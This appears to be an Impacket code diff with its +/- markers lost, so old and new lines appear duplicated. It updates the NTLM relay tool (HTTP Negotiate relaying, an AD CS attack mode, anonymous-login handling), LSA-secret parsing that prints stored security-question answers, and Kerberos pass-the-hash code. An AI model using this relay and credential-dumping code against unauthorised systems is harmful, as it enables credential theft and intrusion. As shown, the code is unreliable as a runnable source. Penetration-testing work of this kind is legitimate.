LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate'))
return False
if 'NTLM' in res.getheader('WWW-Authenticate'):
self.authenticationMethod = "NTLM"
elif 'Negotiate' in res.getheader('WWW-Authenticate'):
self.authenticationMethod = "Negotiate"
except (KeyError, TypeError):
LOG.error('No authentication requested by the server for url %s' % self.targetHost)
return False
if self.serverConfig.isADCSAttack:
LOG.info('IIS cert server may allow anonymous authentication, sending NTLM auth anyways')
else:
return False
#Negotiate auth
negotiate = base64.b64encode(negotiateMessage).decode("ascii")
headers = {'Authorization':'NTLM %s' % negotiate}
headers = {'Authorization':'%s %s' % (self.authenticationMethod, negotiate)}
self.session.request('GET', self.path ,headers=headers)
res = self.session.getresponse()
res.read()
try:
serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1)
serverChallengeBase64 = re.search(('%s ([a-zA-Z0-9+/]+={0,2})' % self.authenticationMethod), res.getheader('WWW-Authenticate')).group(1)
serverChallenge = base64.b64decode(serverChallengeBase64)
challenge = NTLMAuthChallenge()
challenge.fromString(serverChallenge)
return challenge
except (IndexError, KeyError, AttributeError):
LOG.error('No NTLM challenge returned from server')
return False
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
@@ -87,7 +96,7 @@ class HTTPRelayClient(ProtocolClient):
else:
token = authenticateMessageBlob
auth = base64.b64encode(token).decode("ascii")
headers = {'Authorization':'NTLM %s' % auth}
headers = {'Authorization':'%s %s' % (self.authenticationMethod, auth)}
self.session.request('GET', self.path,headers=headers)
res = self.session.getresponse()
if res.status == 401:
@@ -166,24 +166,42 @@ class HTTPRelayServer(Thread):
elif messageType == 3:
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le')))
if not self.do_ntlm_auth(token,authenticateMessage):
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
LOG.info("Authenticating against %s://%s as %s\\%s FAILED" % (
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le')))
else:
LOG.info("Authenticating against %s://%s as %s\\%s FAILED" % (
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
authenticateMessage['user_name'].decode('ascii')))
# Only skip to next if the login actually failed, not if it was just anonymous login or a system account
# which we don't want
if authenticateMessage['user_name'] != b'':
self.server.config.target.logTarget(self.target)
# No anonymous login, go to next host and avoid triggering a popup
self.do_REDIRECT()
else:
#If it was an anonymous login, send 401
self.do_AUTHHEAD(b'NTLM', proxy=proxy)
else:
LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
authenticateMessage['user_name'].decode('ascii')))
self.do_ntlm_auth(token, authenticateMessage)
self.do_attack()
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le')))
else:
LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
authenticateMessage['user_name'].decode('ascii')))
self.send_response(207, "Multi-Status")
self.send_header('Content-Type', 'application/xml')
self.send_header('Content-Length', str(len(content)))
self.end_headers()
self.wfile.write(content)
return
self.do_attack()
self.send_response(207, "Multi-Status")
self.send_header('Content-Type', 'application/xml')
self.send_header('Content-Length', str(len(content)))
self.end_headers()
self.wfile.write(content)
return
def do_AUTHHEAD(self, message = b'', proxy=False):
if proxy:
@@ -302,7 +320,7 @@ class HTTPRelayServer(Thread):
# Only skip to next if the login actually failed, not if it was just anonymous login or a system account
# which we don't want
if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':
if authenticateMessage['user_name'] != b'': # and authenticateMessage['user_name'][-1] != '$':
self.server.config.target.logTarget(self.target)
# No anonymous login, go to next host and avoid triggering a popup
self.do_REDIRECT()
@@ -383,7 +401,7 @@ class HTTPRelayServer(Thread):
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
authenticateMessage['user_name'].decode('ascii'))).upper()
if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':
if authenticateMessage['user_name'] != b'' or self.target.hostname == '127.0.0.1':
clientResponse, errorCode = self.client.sendAuth(token)
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
@@ -1,6 +1,6 @@
# Impacket - Collection of Python classes for working with network protocols.
#
# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
@@ -72,6 +72,8 @@ class SMBRelayServer(Thread):
else:
smbConfig.set("global", "SMB2Support", "False")
smbConfig.set("global", "anonymous_logon", "False")
if self.config.outputFile is not None:
smbConfig.set('global','jtr_dump_path',self.config.outputFile)
@@ -289,26 +291,20 @@ class SMBRelayServer(Thread):
client = connData['SMBClient']
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
if authenticateMessage['user_name'] != '':
# For some attacks it is important to know the authenticated username, so we store it
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le'))).upper()
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le'))).upper()
if rawNTLM is True:
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = securityBlob
securityBlob = respToken2.getData()
if rawNTLM is True:
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = securityBlob
securityBlob = respToken2.getData()
if self.config.remove_mic:
clientResponse, errorCode = self.do_ntlm_auth(client, token,
connData['CHALLENGE_MESSAGE']['challenge'])
else:
clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob,
connData['CHALLENGE_MESSAGE']['challenge'])
if self.config.remove_mic:
clientResponse, errorCode = self.do_ntlm_auth(client, token,
connData['CHALLENGE_MESSAGE']['challenge'])
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
errorCode = STATUS_ACCESS_DENIED
clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob,
connData['CHALLENGE_MESSAGE']['challenge'])
if errorCode != STATUS_SUCCESS:
#Log this target as processed for this client
@@ -377,10 +373,7 @@ class SMBRelayServer(Thread):
try:
if self.config.mode.upper () == 'REFLECTION':
self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])
if self.authUser == '/':
LOG.info('SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' %
(connId, connData['ClientIP']))
return self.origsmb2TreeConnect (connId, smbServer, recvPacket)
self.target = self.targetprocessor.getTarget(identity = self.authUser)
if self.target is None:
# No more targets to process, just let the victim to fail later
@@ -542,17 +535,11 @@ class SMBRelayServer(Thread):
client = connData['SMBClient']
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le'))).upper()
if authenticateMessage['user_name'] != '':
#For some attacks it is important to know the authenticated username, so we store it
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le'))).upper()
clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],
connData['CHALLENGE_MESSAGE']['challenge'])
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
errorCode = STATUS_ACCESS_DENIED
clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],
connData['CHALLENGE_MESSAGE']['challenge'])
if errorCode != STATUS_SUCCESS:
# Let's return what the target returned, hope the client connects back again
@@ -701,10 +688,7 @@ class SMBRelayServer(Thread):
try:
if self.config.mode.upper () == 'REFLECTION':
self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])
if self.authUser == '/':
LOG.info('SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' %
(connId, connData['ClientIP']))
return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket)
self.target = self.targetprocessor.getTarget(identity = self.authUser)
if self.target is None:
# No more targets to process, just let the victim to fail later
@@ -94,6 +94,10 @@ class NTLMRelayxConfig:
# WebDAV options
self.serve_image = False
# AD CS attack options
self.isADCSAttack = False
self.template = None
def setSMBChallenge(self, value):
self.SMBServerChallenge = value
@@ -208,3 +212,9 @@ class NTLMRelayxConfig:
def setWebDAVOptions(self, serve_image):
self.serve_image = serve_image
def setADCSOptions(self, template):
self.template = template
def setIsADCSAttack(self, isADCSAttack):
self.isADCSAttack = isADCSAttack
+27 -4
View File
@@ -48,10 +48,12 @@
from __future__ import division
from __future__ import print_function
import codecs
import json
import hashlib
import logging
import ntpath
import os
import re
import random
import string
import time
@@ -1557,6 +1559,27 @@ class LSASecrets(OfflineRegistry):
extrasecret = "%s:plain_password_hex:%s" % (printname, hexlify(secretItem).decode('utf-8'))
self.__secretItems.append(extrasecret)
self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret)
elif re.match('^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName) is not None:
# Decode stored security questions
sid = re.search('^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName).group(1)
try:
strDecoded = secretItem.decode('utf-16le').replace('\xa0',' ')
strDecoded = json.loads(strDecoded)
except:
pass
else:
output = []
if strDecoded['version'] == 1:
output.append(" - Version : %d" % strDecoded['version'])
for qk in strDecoded['questions']:
output.append(" | Question: %s" % qk['question'])
output.append(" | └──> Answer: %s" % qk['answer'])
output = '\n'.join(output)
secret = 'Security Questions for user %s: \n%s' % (sid, output)
else:
LOG.warning("Unknown SQSA version (%s), please open an issue with the following data so we can add a parser for it." % str(strDecoded['version']))
LOG.warning("Don't forget to remove sensitive content before sending the data in a Github issue.")
secret = json.dumps(strDecoded, indent=4)
if secret != '':
printableSecret = secret
@@ -1865,10 +1888,10 @@ class NTDSHashes:
self.__outputFileName = outputFileName
self.__justUser = justUser
self.__perSecretCallback = perSecretCallback
# these are all the columns that we need to get the secrets.
# these are all the columns that we need to get the secrets.
# If in the future someone finds other columns containing interesting things please extend ths table.
self.__filter_tables_usersecret = {
self.__filter_tables_usersecret = {
self.NAME_TO_INTERNAL['objectSid'] : 1,
self.NAME_TO_INTERNAL['dBCSPwd'] : 1,
self.NAME_TO_INTERNAL['name'] : 1,
@@ -1882,7 +1905,7 @@ class NTDSHashes:
self.NAME_TO_INTERNAL['userAccountControl'] : 1,
self.NAME_TO_INTERNAL['supplementalCredentials'] : 1,
self.NAME_TO_INTERNAL['pekList'] : 1,
}
def getResumeSessionFile(self):
+2 -2
View File
@@ -197,7 +197,7 @@ ERROR_MESSAGES = {
0x80004014: ("CO_E_BAD_SERVER_NAME", "A Remote activation was necessary, but the server name provided was invalid."),
0x80004015: ("CO_E_WRONG_SERVER_IDENTITY", "The class is configured to run as a security ID different from the caller."),
0x80004016: ("CO_E_OLE1DDE_DISABLED", "Use of OLE1 services requiring Dynamic Data Exchange (DDE) Windows is disabled."),
0x80004017: ("CO_E_RUNAS_SYNTAX", "A RunAs specification must be <domain name>\<user name> or simply <user name>."),
0x80004017: ("CO_E_RUNAS_SYNTAX", "A RunAs specification must be <domain name>\\<user name> or simply <user name>."),
0x80004018: ("CO_E_CREATEPROCESS_FAILURE", "The server process could not be started. The path name may be incorrect."),
0x80004019: ("CO_E_RUNAS_CREATEPROCESS_FAILURE", "The server process could not be started as the configured identity. The path name may be incorrect or unavailable."),
0x8000401A: ("CO_E_RUNAS_LOGON_FAILURE", "The server process could not be started because the configured identity is incorrect. Check the user name and password."),
@@ -285,7 +285,7 @@ ERROR_MESSAGES = {
0x80010129: ("CO_E_FAILEDTOSETDACL", "Unable to set a discretionary access control list (ACL) into a security descriptor."),
0x8001012A: ("CO_E_ACCESSCHECKFAILED", "The system function AccessCheck returned false."),
0x8001012B: ("CO_E_NETACCESSAPIFAILED", "Either NetAccessDel or NetAccessAdd returned an error code."),
0x8001012C: ("CO_E_WRONGTRUSTEENAMESYNTAX", "One of the trustee strings provided by the user did not conform to the <Domain>\<Name> syntax and it was not the *\" string\"."),
0x8001012C: ("CO_E_WRONGTRUSTEENAMESYNTAX", "One of the trustee strings provided by the user did not conform to the <Domain>\\<Name> syntax and it was not the *\" string\"."),
0x8001012D: ("CO_E_INVALIDSID", "One of the security identifiers provided by the user was invalid."),
0x8001012E: ("CO_E_CONVERSIONFAILED", "Unable to convert a wide character trustee string to a multiple-byte trustee string."),
0x8001012F: ("CO_E_NOMATCHINGSIDFOUND", "Unable to find a security identifier that corresponds to a trustee string provided by the user."),
+5 -5
View File
@@ -343,12 +343,12 @@ class _DESCBC(_SimplifiedEnctype):
tempkey[7] = chr(ord(tempkey[7]) ^ 0xF0)
cipher = DES.new(b(tempkey), DES.MODE_CBC, b(tempkey))
chekcsumkey = cipher.encrypt(s)[-8:]
chekcsumkey = fixparity(chekcsumkey)
if _is_weak_des_key(chekcsumkey):
chekcsumkey[7] = chr(ord(chekcsumkey[7]) ^ 0xF0)
checksumkey = cipher.encrypt(s)[-8:]
checksumkey = fixparity(checksumkey)
if _is_weak_des_key(checksumkey):
checksumkey[7] = chr(ord(checksumkey[7]) ^ 0xF0)
return Key(cls.enctype, chekcsumkey)
return Key(cls.enctype, checksumkey)
@classmethod
def basic_encrypt(cls, key, plaintext):
+13 -2
View File
@@ -22,7 +22,8 @@ import os
from pyasn1.codec.der import decoder, encoder
from pyasn1.error import PyAsn1Error
from pyasn1.type.univ import noValue
from pyasn1.type.univ import noValue, Sequence
from pyasn1.type.useful import GeneralizedTime
from six import b
from binascii import unhexlify, hexlify
@@ -77,6 +78,16 @@ def sendReceive(data, host, kdcHost):
return r
if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value:
try:
for i in decoder.decode(r):
if type(i) == Sequence:
for k in vars(i)["_componentValues"]:
if type(k) == GeneralizedTime:
server_time = datetime.datetime.strptime(k.asOctets().decode("utf-8"), "%Y%m%d%H%M%SZ")
LOG.debug("Server time (UTC): %s" % server_time)
except:
# Couldn't get server time for some reason
pass
raise krbError
return r
@@ -230,7 +241,7 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH
cipher = _enctype_table[enctype]
# Pass the hash/aes key :P
if nthash != b'' and (isinstance(nthash, bytes) and nthash != b''):
if isinstance(nthash, bytes) and nthash != b'':
key = Key(cipher.enctype, nthash)
elif aesKey != b'':
key = Key(cipher.enctype, aesKey)
+1 -1
View File
@@ -146,7 +146,7 @@ class KeytabEntry:
keytab_entry {
int32_t size; # wtf, signed size. what could possibly ...
uint16_t num_components; /* sub 1 if version 0x501 */ |\
counted_octet_string realm; | \ Keytab
counted_octet_string realm; | \\ Keytab
counted_octet_string components[num_components]; | / Princial
uint32_t name_type; /* not present if version 0x501 */ |/
uint32_t timestamp;
+1 -1
View File
@@ -109,7 +109,7 @@ class LDAPConnection:
af, socktype, proto, _, sa = socket.getaddrinfo(targetHost, self._dstPort, 0, socket.SOCK_STREAM)[0]
self._socket = socket.socket(af, socktype, proto)
except socket.error as e:
raise socket.error('Connection error (%s:%d)' % (targetHost, 88), e)
raise socket.error('Connection error (%s:%d)' % (targetHost, self._dstPort), e)
if self._SSL is False:
self._socket.connect(sa)
+1 -1
View File
@@ -34,7 +34,7 @@ class SMBConnection:
"""
SMBConnection class
:param string remoteName: name of the remote host, can be its NETBIOS name, IP or *\*SMBSERVER*. If the later,
:param string remoteName: name of the remote host, can be its NETBIOS name, IP or *\\*SMBSERVER*. If the later,
and port is 139, the library will try to get the target's server name.
:param string remoteHost: target server's remote address (IPv4, IPv6) or FQDN
:param string/optional myName: client's NETBIOS name
+15 -2
View File
@@ -2978,9 +2978,13 @@ class SMB2Commands:
# No credentials provided, let's grant access
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_ANONYMOUS:
isAnonymus = True
if smbServer._SMBSERVER__anonymousLogon == False:
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_SUCCESS
else:
isGuest = True
errorCode = STATUS_SUCCESS
errorCode = STATUS_SUCCESS
if errorCode == STATUS_SUCCESS:
connData['Authenticated'] = True
@@ -3876,7 +3880,7 @@ class SMBSERVERHandler(socketserver.BaseRequestHandler):
# In case of AF_INET6 the client_address contains 4 items, ignore the last 2
self.__ip, self.__port = client_address[:2]
self.__request = request
self.__connId = threading.currentThread().getName()
self.__connId = threading.current_thread().name
self.__timeOut = 60 * 5
self.__select_poll = select_poll
# self.__connId = os.getpid()
@@ -3961,6 +3965,9 @@ class SMBSERVER(socketserver.ThreadingMixIn, socketserver.TCPServer):
# SMB2 Support flag = default not active
self.__SMB2Support = False
# Allow anonymous logon
self.__anonymousLogon = True
# Our list of commands we will answer, by default the NOT IMPLEMENTED one
self.__smbCommandsHandler = SMBCommands()
self.__smbTrans2Handler = TRANS2Commands()
@@ -4601,6 +4608,12 @@ class SMBSERVER(socketserver.ThreadingMixIn, socketserver.TCPServer):
else:
self.__SMB2Support = False
if self.__serverConfig.has_option("global", "anonymous_logon"):
self.__anonymousLogon = self.__serverConfig.getboolean("global", "anonymous_logon")
else:
self.__anonymousLogon = True
if self.__logFile != 'None':
logging.basicConfig(filename=self.__logFile,
level=logging.DEBUG,
+27 -14
View File
@@ -24,16 +24,19 @@ from struct import pack, unpack
EMPTY_UUID = b'\x00'*16
def generate():
# UHm... crappy Python has an maximum integer of 2**31-1.
top = (1<<31)-1
return pack("IIII", randrange(top), randrange(top), randrange(top), randrange(top))
def bin_to_string(uuid):
uuid1, uuid2, uuid3 = unpack('<LHH', uuid[:8])
uuid4, uuid5, uuid6 = unpack('>HHL', uuid[8:16])
return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6)
def string_to_bin(uuid):
# If a UUID in the 00000000000000000000000000000000 format, let's return bytes as is
if '-' not in uuid:
@@ -41,42 +44,52 @@ def string_to_bin(uuid):
# If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID
# The first three components of the UUID are little-endian, and the last two are big-endian
matches = re.match('([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid)
matches = re.match(r"([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})",
uuid)
(uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()]
uuid = pack('<LHH', uuid1, uuid2, uuid3)
uuid += pack('>HHL', uuid4, uuid5, uuid6)
return uuid
def stringver_to_bin(s):
(maj,min) = s.split('.')
return pack('<H',int(maj)) + pack('<H',int(min))
(maj, min) = s.split('.')
return pack('<H', int(maj)) + pack('<H', int(min))
def uuidtup_to_bin(tup):
if len(tup) != 2:
return
return string_to_bin(tup[0]) + stringver_to_bin(tup[1])
def bin_to_uuidtup(bin):
assert len(bin) == 20
uuidstr = bin_to_string(bin[:16])
maj, min = unpack("<HH", bin[16:])
return uuidstr, "%d.%d" % (maj, min)
#input: string
#output: tuple (uuid,version)
#if version is not found in the input string "1.0" is returned
#example:
# "00000000-0000-0000-0000-000000000000 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
# "10000000-2000-3000-4000-500000000000 version 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
# "10000000-2000-3000-4000-500000000000 v 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
# "10000000-2000-3000-4000-500000000000" returns ('00000000-0000-0000-0000-000000000000','1.0')
def string_to_uuidtup(s):
g = re.search("([A-Fa-f0-9]{8}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{12}).*?([0-9]{1,5}\.[0-9]{1,5})",s+" 1.0")
"""
if version is not found in the input string "1.0" is returned
example:
"00000000-0000-0000-0000-000000000000 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
"10000000-2000-3000-4000-500000000000 version 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
"10000000-2000-3000-4000-500000000000 v 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
"10000000-2000-3000-4000-500000000000" returns ('00000000-0000-0000-0000-000000000000','1.0')
:param s: string
:return: tuple (uuid,version)
"""
g = re.search(r"([A-Fa-f0-9]{8}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{12}).*?([0-9]{1,5}\.[0-9]{1,5})",
s + " 1.0")
if g:
(u,v) = g.groups()
return (u,v)
(u, v) = g.groups()
return u, v
return
def uuidtup_to_string(tup):
uuid, (maj, min) = tup
return "%s v%d.%d" % (uuid, maj, min)
+2 -2
View File
@@ -22,7 +22,7 @@ PACKAGE_NAME = "impacket"
VER_MAJOR = 0
VER_MINOR = 9
VER_MAINT = 24
VER_MAINT = 25
VER_PREREL = "dev1"
try:
if call(["git", "branch"], stderr=STDOUT, stdout=open(os.devnull, 'w')) == 0:
@@ -65,7 +65,7 @@ setup(name = PACKAGE_NAME,
'impacket.krb5', 'impacket.ldap', 'impacket.examples.ntlmrelayx',
'impacket.examples.ntlmrelayx.clients', 'impacket.examples.ntlmrelayx.servers',
'impacket.examples.ntlmrelayx.servers.socksplugins', 'impacket.examples.ntlmrelayx.utils',
'impacket.examples.ntlmrelayx.attacks'],
'impacket.examples.ntlmrelayx.attacks', 'impacket.examples.ntlmrelayx.attacks.httpattacks'],
scripts = glob.glob(os.path.join('examples', '*.py')),
data_files = data_files,
install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=0.16.2', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6',
+1 -1
View File
@@ -35,7 +35,7 @@ class TestTCP(unittest.TestCase):
pass
thread_hangs = it_hangs()
thread_hangs.setDaemon(True)
thread_hangs.daemon = True
thread_hangs.start()
thread_hangs.join(1.0) # 1 seconds timeout